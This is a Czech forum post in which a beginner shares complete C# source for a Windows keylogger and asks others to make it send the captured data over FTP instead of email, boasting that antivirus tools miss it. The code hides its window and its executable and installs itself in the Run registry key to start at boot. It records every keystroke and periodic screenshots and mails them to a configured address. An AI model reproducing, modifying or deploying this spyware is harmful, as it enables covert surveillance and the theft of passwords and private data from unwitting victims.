Zdravíčko Soomáci,mám tady jeden zajímavý kod na keylogger ,jsem začátečník,moc by mi pomohlo .kdyby někdo dokázal upravit kod ,aby to přeposílalo data přes
FTP účet a ne přes email a taky aby to netisklo screen obrazovky.Jinak AV to neberou ani z letadla.
Dikec.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using Microsoft.Win32;
using System.Net.Mail;
using System.Runtime.InteropServices;
using System.Drawing.Imaging;
using System.Drawing.Drawing2D;
using System.IO;
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
}
}
public partial class Form1 : Form
{
// Import WinAPI funkcí zachytávající klávesy
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(int vKey);
string klavesy = "";
// Představuje počet kláves jež musí být stisknuty, aby byly odeslány na mail
int kolikKlaves = [klavesy];
// Interval po který budou zasílány snímky obrazovky
int prscSekundy = [printscreen];
string mail = "[mail]";
string smtp = "[smtp]";
string cesta = "";
static Bitmap bmpScreenshot;
static Graphics gfxScreenshot;
int p = 0;
public Form1()
{
InitializeComponent();
this.timer2.Interval = prscSekundy * 1000;
this.timer2.Start();
try
{
// Otevře registrový klíč "po spuštění"
RegistryKey klic = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
// Spuštění po startu Windows
klic.SetValue("KeyLogger", Application.ExecutablePath);
klic.Close();
// Skryje tuto aplikaci
System.IO.File.SetAttributes(Application.ExecutablePath, System.IO.FileAttributes.Hidden);
}
// Pokud se uložení do registrů nezdaří:
catch
{
MessageBox.Show("Nastala chyba při manipulaci s registry");
}
}
private void Form1_Load(object sender, EventArgs e)
{
// Skryje aplikaci v pruhu úloh
this.ShowInTaskbar = false;
// Skryje okno aplikace
this.Hide();
// Spustí časovač
timer1.Start();
}
// V rychlích intervalech kontroluje aktuálně stisknutou klávesu
private void timer1_Tick(object sender, EventArgs e)
{
string keyBuffer = "";
// Snímá klávesy
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if (GetAsyncKeyState(i) == -32767)
{
keyBuffer += Enum.GetName(typeof(Keys), i);
}
}
if (keyBuffer != "")
{
keyBuffer = keyBuffer.Replace("Space", " ");
keyBuffer = keyBuffer.Replace("Delete", "<Del>");
keyBuffer = keyBuffer.Replace("LShiftKey", "<SHIFT>");
keyBuffer = keyBuffer.Replace("ShiftKey", "");
keyBuffer = keyBuffer.Replace("OemQuotes", "!");
keyBuffer = keyBuffer.Replace("Oemcomma", "?");
keyBuffer = keyBuffer.Replace("D8", "á");
keyBuffer = keyBuffer.Replace("D2", "ě");
keyBuffer = keyBuffer.Replace("D3", "š");
keyBuffer = keyBuffer.Replace("D4", "č");
keyBuffer = keyBuffer.Replace("D5", "ř");
keyBuffer = keyBuffer.Replace("D6", "ž");
keyBuffer = keyBuffer.Replace("D7", "ý");
keyBuffer = keyBuffer.Replace("D9", "í");
keyBuffer = keyBuffer.Replace("D0", "é");
keyBuffer = keyBuffer.Replace("Back", "<==");
keyBuffer = keyBuffer.Replace("LButton", "");
keyBuffer = keyBuffer.Replace("RButton", "");
keyBuffer = keyBuffer.Replace("NumPad", "");
keyBuffer = keyBuffer.Replace("OemPeriod", ".");
keyBuffer = keyBuffer.Replace("OemSemicolon", ",");
keyBuffer = keyBuffer.Replace("Oem4", "/");
keyBuffer = keyBuffer.Replace("LControlKey", "");
keyBuffer = keyBuffer.Replace("ControlKey", "<CTRL>");
keyBuffer = keyBuffer.Replace("Enter", "<ENT>");
keyBuffer = keyBuffer.Replace("Shift", "<SHIFT>");
keyBuffer = keyBuffer.ToLower();
klavesy += keyBuffer;
// Pokud je počet nasnímaných kláves roven nebo větší než
// námi definovaný počet, budou odeslány mailem
if (klavesy.Length >= kolikKlaves)
{
Mailer.OdesliMail(mail,smtp, "klavesy@keylogger.cz" ,klavesy, "Nasnímané klávesy uživatele " + Environment.UserName);
// Vynulování stisknutých kláves
klavesy = "";
}
}
}
void PrintScreen()
{
bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
gfxScreenshot = Graphics.FromImage(bmpScreenshot);
gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
gfxScreenshot.Dispose();
p++;
if (p > 1)
File.Delete("prsc" + (p-1).ToString() + ".jpg");
cesta = "prsc" + p.ToString() + ".jpg";
bmpScreenshot.Save(cesta);
}
void Timer2Tick(object sender, EventArgs e)
{
try
{
PrintScreen();
Mailer.OdesliMailSPrilohou(mail,smtp, mail , "Print Screen obrazovky uživatele " + Environment.UserName,cesta);
}
catch{}
}
}
partial class Form1
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.timer2 = new System.Windows.Forms.Timer(this.components);
this.SuspendLayout();
//
// timer1
//
this.timer1.Interval = 1;
this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
//
// timer2
//
this.timer2.Tick += new System.EventHandler(this.Timer2Tick);
//
// Form1
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(292, 273);
this.Name = "Form1";
this.Text = "Form1";
this.Load += new System.EventHandler(this.Form1_Load);
this.ResumeLayout(false);
}
private System.Windows.Forms.Timer timer2;
#endregion
private System.Windows.Forms.Timer timer1;
}
public class Mailer
{
public Mailer(){}
public static void OdesliMail(string adresa, string hostitel, string odesilatel, string obsah, string subject)
{
// Třída System.Net.Mail.SmtpClient slouží k zasílání mailových zpráv
SmtpClient smtp = new SmtpClient(hostitel);
// Vytvorí e-mailovou zprávu
MailMessage zprava = new MailMessage(odesilatel, adresa, subject, obsah);
// Odešle zprávu
smtp.SendAsync(zprava,null);
}
public static void OdesliMailSPrilohou(string adresa, string hostitel, string odesilatel, string subject, string soubor)
{
// Třída System.Net.Mail.SmtpClient slouží k zasílání mailových zpráv
SmtpClient smtp = new SmtpClient(hostitel);
// Vytvorí e-mailovou zprávu
MailMessage zprava = new MailMessage(odesilatel, adresa, subject,"Printscreen uživatele " + Environment.UserName + " v " + DateTime.Now.ToShortTimeString());
Attachment priloha = new Attachment(soubor);
zprava.Attachments.Add(priloha);
// Odešle zprávu
smtp.SendAsync(zprava,null);
// zprava.Dispose();
}
}
|